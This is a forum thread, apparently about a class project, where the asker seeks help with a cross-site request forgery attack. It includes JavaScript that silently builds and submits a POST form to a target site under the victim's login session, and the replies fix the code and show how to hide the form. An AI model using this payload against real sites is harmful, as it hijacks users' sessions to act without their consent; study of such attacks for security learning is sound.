2014-11-21 17 views
0

我正在開發一個項目,我必須在網頁上執行CSRF。所以當用戶登錄時,當他點擊我的網頁時,我必須用他的用戶名(來源於cookie)發佈信息。無法在使用Java腳本創建的表單中設置提交類型輸入

我嘗試使用下面的代碼創建我自己的形式,這樣當用戶點擊我的網頁上,此表將張貼到post.php中(目標網頁)

<html> 
<script language="javascript"> 

    function blah() { 
    alert(); 
    var theForm, newInput1, newInput2, newInput3; 
    var bla = "Aaada"; 
    var bla2 ="POST"; 
    // Start by creating a <form> 
    theForm = document.createElement("form"); 
    theForm.action = "http://targeturl/post.php"; 
    theForm.method = "post"; 

    newInput1 = document.createElement("input"); 
    newInput1.type = "text"; 
    newInput1.name = "username"; 
    newInput1.value = bla; 

    newInput2 = document.createElement("textarea"); 
    newInput2.name = "message"; 
    newInput2.value = bla; 
    newInput2.id = "message"; 

    newInput3 = document.createElement("input"); 
    newInput3.type = "submit"; 
    newInput3.name = "post_submit"; 
    newInput3.value = bla2; 
    newInput3.id = "post_submit"; 

    theForm.appendChild(newInput3); 
    theForm.appendChild(newInput2); 
    theForm.appendChild(newInput1); 
    theForm.submit(); 

    } 
    blah(); 
</script> 
</html> 

標題,信息和提交按鈕是目標形式中的三個輸入。 當我嘗試運行這個表單時,沒有設置提交按鈕。我無法理解爲什麼。我在html(with)中嘗試了一個實際的表單並將其發佈到目標URL,它可以工作。

但是由於我必須隱身,我必須手動構建表單,就像我發佈的代碼一樣。我嘗試了所有posssibilites,並且我無法確定此變量未設置的實際原因。

PS:

if (isset($_POST['post_submit'])) { 

在目標頁面檢查

和ID目標形式:

<form method="post" action="post.php"> 
      Title: <input type="text" name="title" maxlength="50"/> 
      <br /> 
      <br /> 
      Posting: 
      <br /> 
      <br /> 
      <textarea name="message" cols="120" rows="10" id="message"></textarea> 
      <br /> 
      <br /> 
      <input name="post_submit" type="submit" id="post_submit" value="POST" /> 
      </form> 

(它發送到自身,我沒有將剩餘代碼的目標)

任何幫助,將不勝感激 感謝

+0

你檢查螢火蟲是否有任何js相關的錯誤發生? – 2014-11-21 03:22:59

+0

是的,沒有關於 – proteann 2014-11-21 03:25:20

回答

0

如果觸發click事件,而不是提交事件,你會得到提交按鈕一樣,所以更換

theForm.submit(); 

newInput3.click(); 
+0

非常感謝!爲我工作很多! – proteann 2014-11-21 04:19:00

0

在Java腳本 前加document.body.appendChild(theForm);提交併附上函數調用如下:

window.onload = function() { 
    blah(); 
} 

else y你會得到document.body is null錯誤js

+0

這使得窗體可見,所以如果你想隱藏它的樣式'display:none'到那個窗體 – 2014-11-21 03:37:45

+0

非常感謝! button.click()適用於我。 – proteann 2014-11-21 04:20:02

相關問題